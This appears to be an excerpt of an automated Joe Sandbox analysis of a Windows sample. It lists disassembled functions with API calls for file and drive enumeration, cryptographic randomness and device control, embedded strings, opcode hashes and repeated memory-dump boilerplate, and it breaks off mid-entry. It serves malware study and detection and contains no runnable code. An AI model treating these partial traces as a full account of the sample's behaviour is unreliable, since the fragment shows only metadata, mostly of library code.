                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
                                          • String ID:
                                          • API String ID: 2508902052-0
                                          • Opcode ID: 6205ff1eeeaee0cf79450def734d6f74160819ef6e24cea2f90ec9e8164c7a4b
                                          • Instruction ID: df3d123e4eb80bfd368cbc8ac5fbc3f5c0dd06e2b7e107ca46c39cf4bf633331
                                          • Opcode Fuzzy Hash: 6205ff1eeeaee0cf79450def734d6f74160819ef6e24cea2f90ec9e8164c7a4b
                                          • Instruction Fuzzy Hash: 40815771A006299FCB18DFB8C580A7EBBB5FF48314B2546AAD505E7702D770E952CB84
                                          Function 00931274 Relevance: 11.9, APIs: 1, Strings: 5, Instructions: 1381COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: __floor_pentium4
                                          • String ID: 1#IND$1#INF$1#QNAN$1#SNAN$mqzp
                                          • API String ID: 4168288129-1870816451
                                          • Opcode ID: 84f3b92dbf367abe09394bd3b60690ee709902687e3e6fe9aa038e9266364596
                                          • Instruction ID: 2db2f657ee5e5815ff583f0605453a8ab985639b6b93109679b8659df6c7684c
                                          • Opcode Fuzzy Hash: 84f3b92dbf367abe09394bd3b60690ee709902687e3e6fe9aa038e9266364596
                                          • Instruction Fuzzy Hash: 98C25C71E086298FDB25CF28DD407EAB7B9EB84305F1545EAD84DE7250E778AE818F40
                                          Function 008F4265 Relevance: 10.8, APIs: 7, Instructions: 284COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 008F4368
                                          • Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 008F43B4
                                            • Part of subcall function 008F5AAD: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 008F5BA0
                                          • Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 008F4420
                                          • Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 008F443C
                                          • Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 008F4490
                                          • Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 008F44BD
                                          • Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 008F4513
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
                                          • String ID:
                                          • API String ID: 2943730970-0
                                          • Opcode ID: 53ee75deb1d100a016295bd5ad69b464749ac3c8b6a87daad0c0adf87f4b102f
                                          • Instruction ID: 7070316788b7b9252eec1de55274a8fdb0a972aa1bba79bb308ea724ddc97341
                                          • Opcode Fuzzy Hash: 53ee75deb1d100a016295bd5ad69b464749ac3c8b6a87daad0c0adf87f4b102f
                                          • Instruction Fuzzy Hash: 40B16EB0901619AFDB18CF68C981B7AB7B5FB88300F24516EE605EB755D730ED80CBA5
                                          Function 00878B70 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SetErrorMode.KERNEL32(00008003,707A716D,00000000,?,00000000), ref: 00878CD3
                                          • FindFirstFileW.KERNEL32(?,?,0095FB80,00000002,0095FB7C,?,?,?), ref: 00878D2F
                                          • SetErrorMode.KERNEL32(00008003,707A716D), ref: 0087B71D
                                          • FindFirstFileW.KERNEL32(?,?,0095FB80,00000002), ref: 0087B745
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorFileFindFirstMode
                                          • String ID: mqzp
                                          • API String ID: 3909587737-955126501
                                          • Opcode ID: 11d0f2726edd0a2ddfb4f8b87ae72289fe53253ffb6d3ecba2d34c9087db0482
                                          • Instruction ID: e1815e4c1b57ccbbb32328005103f87a5b24635a176008b7ddb2a1f5a607f298
                                          • Opcode Fuzzy Hash: 11d0f2726edd0a2ddfb4f8b87ae72289fe53253ffb6d3ecba2d34c9087db0482
                                          • Instruction Fuzzy Hash: 2EC1C071A00109DFCB18DF28CC89BAEB7B5FB84310F50861DE919DB694DB34EA85CB90
                                          Function 008C4B10 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 263encryptionCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetLastError.KERNEL32(00000010,707A716D,7568FC30,?), ref: 008C4B60
                                          • CryptReleaseContext.ADVAPI32(00000001,00000000,?,00000000,?,009462DC,00000002, operation failed with error ,0000001D,?,?,OS_Rng: ,00000008,?), ref: 008C4E90
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ContextCryptErrorLastRelease
                                          • String ID: operation failed with error $OS_Rng: $mqzp
                                          • API String ID: 3299239745-2853639669
                                          • Opcode ID: c68e111106d55ad8b999521b1046fdb1be23ff3fe1a93b06f12094af40007ab9
                                          • Instruction ID: 91f5239cb7d89f6be014d9ec50eec11bb70fe783dcb0cdc83258588b60543357
                                          • Opcode Fuzzy Hash: c68e111106d55ad8b999521b1046fdb1be23ff3fe1a93b06f12094af40007ab9
                                          • Instruction Fuzzy Hash: 2DA1AD71A002089FEB14DF68CC55F9EBBB1FF85314F10825CE005EB292DB75AA848B61
                                          Function 0092EC7A Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 236COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00924AE9: GetLastError.KERNEL32(000000FF,00000000,00911B78,00000000,00000000,?,0091205E,00000000,00000000,0089C58F,?,000000FF), ref: 00924AED
                                            • Part of subcall function 00924AE9: _free.LIBCMT ref: 00924B20
                                            • Part of subcall function 00924AE9: SetLastError.KERNEL32(00000000,00000000,0089C58F,?,000000FF), ref: 00924B61
                                            • Part of subcall function 00924AE9: _abort.LIBCMT ref: 00924B67
                                          • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,009213EC,?,?,?,?,00920E43,?,00000004), ref: 0092ED5C
                                          • _wcschr.LIBVCRUNTIME ref: 0092EDEC
                                          • _wcschr.LIBVCRUNTIME ref: 0092EDFA
                                          • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,009213EC,00000000,0092150C), ref: 0092EE9D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
                                          • String ID: mqzp
                                          • API String ID: 4212172061-955126501
                                          • Opcode ID: 9e34bdf2a34a62d24ff8e2a82dee32575e8ae5985c4a09e8c72039a26df1b832
                                          • Instruction ID: 3d78a1fe1d31e3b7d8cb9e573a9e10edca676e0ad1caaef8ed89c23e416f310d
                                          • Opcode Fuzzy Hash: 9e34bdf2a34a62d24ff8e2a82dee32575e8ae5985c4a09e8c72039a26df1b832
                                          • Instruction Fuzzy Hash: 7561EA71600225AAD725AB75ECC6FB773ACEF44700F154439F915DB189EA74D940C7A0
                                          Function 008F01E0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 90memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetProcessHeap.KERNEL32(00000000,7556DF60), ref: 008F02AF
                                          • HeapFree.KERNEL32(00000000), ref: 008F02BC
                                          • GetProcessHeap.KERNEL32(00000000,755730E0,?,755730E0,00000000,00940BF8,000000FF), ref: 008F02F2
                                          • HeapFree.KERNEL32(00000000,?,755730E0,00000000,00940BF8,000000FF), ref: 008F02F9
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Heap$FreeProcess
                                          • String ID: mqzp
                                          • API String ID: 3859560861-955126501
                                          • Opcode ID: a80e9000944d460deb0a9d445f8434daa6c2cc5bc01bd968bf99999236de820c
                                          • Instruction ID: 3d921d7bacdc856bf1d1c95556c67d9bbdfc10eb36793ca75e7a51eeeed6200e
                                          • Opcode Fuzzy Hash: a80e9000944d460deb0a9d445f8434daa6c2cc5bc01bd968bf99999236de820c
                                          • Instruction Fuzzy Hash: 5531B375949608DFDB228F68C908B6ABBB4FF86721F244319EA24D73D1D7305901CFA0
                                          Function 008CE110 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 584COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008CE84D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: : block size of underlying block cipher is not 16$TableSize$mqzp
                                          • API String ID: 2005118841-282824471
                                          • Opcode ID: 6d070960eba96c8faaf5282dc494175c21efede92e0198175dbb4e790eff6df7
                                          • Instruction ID: 8efa9e0c106b066b0f826d69d2e3ee76a75917df05881af45f3bf2a224c89c6c
                                          • Opcode Fuzzy Hash: 6d070960eba96c8faaf5282dc494175c21efede92e0198175dbb4e790eff6df7
                                          • Instruction Fuzzy Hash: F432D2B1D042198FDB28CF69C844B9DB7B5FF98304F25866ED459A7352DB70A981CF80
                                          Function 008A4600 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 427COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008A46CD
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: mqzp
                                          • API String ID: 2005118841-955126501
                                          • Opcode ID: 79916cd9827a14fb927a5ee909525b362f812097c3d508b658c4b9b158c86f97
                                          • Instruction ID: 0c998a4155123014902dcc95cc27157faeff05a8b6970763ddafb0ed393e96de
                                          • Opcode Fuzzy Hash: 79916cd9827a14fb927a5ee909525b362f812097c3d508b658c4b9b158c86f97
                                          • Instruction Fuzzy Hash: 5EF122B5A04209AFDB00DF68C884AAEBBF5FF89310F144569F919A7351DB71ED04CB92
                                          Function 0092F065 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 205COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00924AE9: GetLastError.KERNEL32(000000FF,00000000,00911B78,00000000,00000000,?,0091205E,00000000,00000000,0089C58F,?,000000FF), ref: 00924AED
                                            • Part of subcall function 00924AE9: _free.LIBCMT ref: 00924B20
                                            • Part of subcall function 00924AE9: SetLastError.KERNEL32(00000000,00000000,0089C58F,?,000000FF), ref: 00924B61
                                            • Part of subcall function 00924AE9: _abort.LIBCMT ref: 00924B67
                                            • Part of subcall function 00924AE9: _free.LIBCMT ref: 00924B48
                                            • Part of subcall function 00924AE9: SetLastError.KERNEL32(00000000,00000000,0089C58F,?,000000FF), ref: 00924B55
                                          • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0092F0B9
                                          • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0092F10A
                                          • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0092F1CA
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorInfoLastLocale$_free$_abort
                                          • String ID: mqzp
                                          • API String ID: 2829624132-955126501
                                          • Opcode ID: 19906957788b6c91342a1a31fefe89a836a9d9b4f815025a7cefe606d0407fd5
                                          • Instruction ID: c01ea59ea743ca772d8244f984ccdc8d9e262692b96c414c7c7ed1bc79f260b2
                                          • Opcode Fuzzy Hash: 19906957788b6c91342a1a31fefe89a836a9d9b4f815025a7cefe606d0407fd5
                                          • Instruction Fuzzy Hash: 2E61C275504227DBEB289F24ECA2BBA77BCFF05300F6041B9E916C618AE774D951CB50
                                          Function 008ECFE0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateFileW.KERNEL32(008ED3FE,00000008,00000007,00000000,00000003,02200000,00000000,707A716D,?,00000000,?,008ED3FE,?), ref: 008ED023
                                          • DeviceIoControl.KERNEL32(00000000,000900A8,00000000,00000000,00000000,00004000,?,00000000), ref: 008ED06A
                                          • CloseHandle.KERNEL32(00000000), ref: 008ED0A4
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CloseControlCreateDeviceFileHandle
                                          • String ID: mqzp
                                          • API String ID: 33631002-955126501
                                          • Opcode ID: 7cfa3deb1f80748f59a6c17217a35faf4c995a5b178af6ea86c368e4796bdd16
                                          • Instruction ID: 44e24f73ef66e1089c248eaa4fbfd4ff89642f01e56da0625d5a0d859942dd54
                                          • Opcode Fuzzy Hash: 7cfa3deb1f80748f59a6c17217a35faf4c995a5b178af6ea86c368e4796bdd16
                                          • Instruction Fuzzy Hash: 58216771684744EBEB20CB29DC06FAA77E8FB02710F244221F905EB2C0D7755A088651
                                          Function 008C4EE0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47encryptionCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 008C4F70: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 008C4FFA
                                          • CryptGenRandom.ADVAPI32(00000000,?,?,707A716D), ref: 008C4F1A
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008C4F69
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Crypt$ContextException@8RandomReleaseThrow
                                          • String ID: CryptGenRandom$mqzp
                                          • API String ID: 1047471967-1659701854
                                          • Opcode ID: b0e19714bd00060f7543a639f09c815259dcf455c9cdb7a763ec7e07477d3e0f
                                          • Instruction ID: e9caa1c84bebf381f7d60d393ceacbcae3a0b37ff74647b4a5edd96f055afca6
                                          • Opcode Fuzzy Hash: b0e19714bd00060f7543a639f09c815259dcf455c9cdb7a763ec7e07477d3e0f
                                          • Instruction Fuzzy Hash: 55016D72914208EFCB04EFA4DC51FAEBBB8FB04724F40452AB801A7290DF34A904CB51
                                          Function 00861020 Relevance: 6.3, Strings: 5, Instructions: 46COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: __onexit
                                          • String ID: Dflt$Dflt$Dflt$Dflt$mqzp
                                          • API String ID: 1448380652-3666742884
                                          • Opcode ID: 32e8107eea69e40214db65ccc3fd08cdfa5dc0e472ef08bfb7159580c1aa057c
                                          • Instruction ID: de1b29679f5318e5d20a6c76a5a27d8c1945890781f2b5aa1e7d5b813600f683
                                          • Opcode Fuzzy Hash: 32e8107eea69e40214db65ccc3fd08cdfa5dc0e472ef08bfb7159580c1aa057c
                                          • Instruction Fuzzy Hash: F1116AB152C748DBE780CF44ED59B563BA0F78072CF004218E9096B3E0CBBA500CEB85
                                          Function 0092C1DB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: .$mqzp
                                          • API String ID: 0-2710536664
                                          • Opcode ID: 852f4a2caa67d6733f8dca61cce60b6524d45316a22d216c541f09f32d331631
                                          • Instruction ID: ced852a5b4f8b2f53073082e5d9494c53243fd8b76c4b24e6be7c0dc6a794e43
                                          • Opcode Fuzzy Hash: 852f4a2caa67d6733f8dca61cce60b6524d45316a22d216c541f09f32d331631
                                          • Instruction Fuzzy Hash: B03106B1904219AFCB249E78DC85EFF7BADDB86314F1441A8F829D7255EA30DD408B50
                                          Function 0087E270 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 137COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: mqzp
                                          • API String ID: 0-955126501
                                          • Opcode ID: 2971aca0768e55b3d3e0111aade5c1524f7ab8d936757f119574c67199312241
                                          • Instruction ID: 2847b517cfd1a52086de99bc43bf619ef879f8d32d67b2c865277942db247f77
                                          • Opcode Fuzzy Hash: 2971aca0768e55b3d3e0111aade5c1524f7ab8d936757f119574c67199312241
                                          • Instruction Fuzzy Hash: 2251D672A14609CBCB18EFA8CD95B6DB7F5FB98300F448259F805CB351DB31A901CB81
                                          Function 0087E0D0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 113COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetLogicalDriveStringsA.KERNEL32(00000104,00000000), ref: 0087E16C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
